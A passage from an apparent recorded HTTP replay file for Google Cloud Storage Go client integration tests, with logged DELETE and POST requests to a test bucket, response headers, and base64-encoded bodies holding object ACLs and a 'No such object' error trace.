WxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRQb2xpY3lPbmx5L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYnVja2V0UG9saWN5T25seSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQwMDU1MTYxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ1BtdTRibngvZUVDRUFJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldFBvbGljeU9ubHkvMTU1NjgzNTg0MDA1NTE2MS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYnVja2V0UG9saWN5T25seS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldFBvbGljeU9ubHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MDA1NTE2MSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDUG11NGJueC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRQb2xpY3lPbmx5L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYnVja2V0UG9saWN5T25seSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQwMDU1MTYxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ1BtdTRibngvZUVDRUFJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldFBvbGljeU9ubHkvMTU1NjgzNTg0MDA1NTE2MS91c2VyLXRlc3RAZXhhbXBsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRQb2xpY3lPbmx5L2FjbC91c2VyLXRlc3RAZXhhbXBsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJidWNrZXRQb2xpY3lPbmx5IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDAwNTUxNjEiLCJlbnRpdHkiOiJ1c2VyLXRlc3RAZXhhbXBsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZW1haWwiOiJ0ZXN0QGV4YW1wbGUuY29tIiwiZXRhZyI6IkNQbXU0Ym54L2VFQ0VBST0ifV19" - } - }, - { - "ID": "91ba2c22c5f5de9a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/bucketPolicyOnly?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:03 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrwotKay181GHzZsWfp6BzJA4FDOIfK2s1WlzB9p8QsIEX42AtvMhkgLWqSIyEhb-MSv9snqx0WRwUs5sDN3_5NVoFTzQeLkDBR9mbsixI-udc8SLI" - ] - }, - "Body": "" - } - }, - { - "ID": "43fec6c3a8c8cb63", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiY29uZGRlbCJ9Cg==", - "Zm9v" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3161" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:03 GMT" - ], - "Etag": [ - "CNHLq7vx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrrYnzZRz4GFV3BsHoF-vv9v2Lc13Wp6-P5iowSZFjqyykVhYZ6CkesIVxA2v2xNCbVeWgCBXCFFt9fje73cis1cECwwqrYLr5QF5bZCy4TsJ-LT8k" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb25kZGVsLzE1NTY4MzU4NDMzNjg0MDEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb25kZGVsIiwibmFtZSI6ImNvbmRkZWwiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MzM2ODQwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowMy4zNjhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDMuMzY4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjAzLjM2OFoiLCJzaXplIjoiMyIsIm1kNUhhc2giOiJyTDBZMjB6QytGenQ3MlZQek1TazJBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29uZGRlbD9nZW5lcmF0aW9uPTE1NTY4MzU4NDMzNjg0MDEmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbC8xNTU2ODM1ODQzMzY4NDAxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbmRkZWwvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbmRkZWwiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MzM2ODQwMSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTkhMcTd2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbC8xNTU2ODM1ODQzMzY4NDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb25kZGVsL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29uZGRlbCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQzMzY4NDAxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ05ITHE3dngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbmRkZWwvMTU1NjgzNTg0MzM2ODQwMS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29uZGRlbC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbmRkZWwiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MzM2ODQwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTkhMcTd2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbC8xNTU2ODM1ODQzMzY4NDAxL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb25kZGVsL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29uZGRlbCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQzMzY4NDAxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ05ITHE3dngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJ6OFN1SFE9PSIsImV0YWciOiJDTkhMcTd2eC9lRUNFQUU9In0=" - } - }, - { - "ID": "ba03d9efb1402903", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/conddel?alt=json\u0026generation=1556835843368400\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12249" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:03 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:03 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur-mcvaL-eBgBoviwBg_r8LyEEK3JNyFaj0cFy2neOMo1pVkWpkGQ-3gz8vQNtAGoX-Q7_CMYLNv_I0pOoy5iRr-MdYKny5ICdC1s3ji5DwL7sqmn0" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpPQkpFQ1RfTk9UX0ZPVU5EOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbmRkZWxcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IE5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6T0JKRUNUX05PVF9GT1VORDogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb25kZGVsXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoI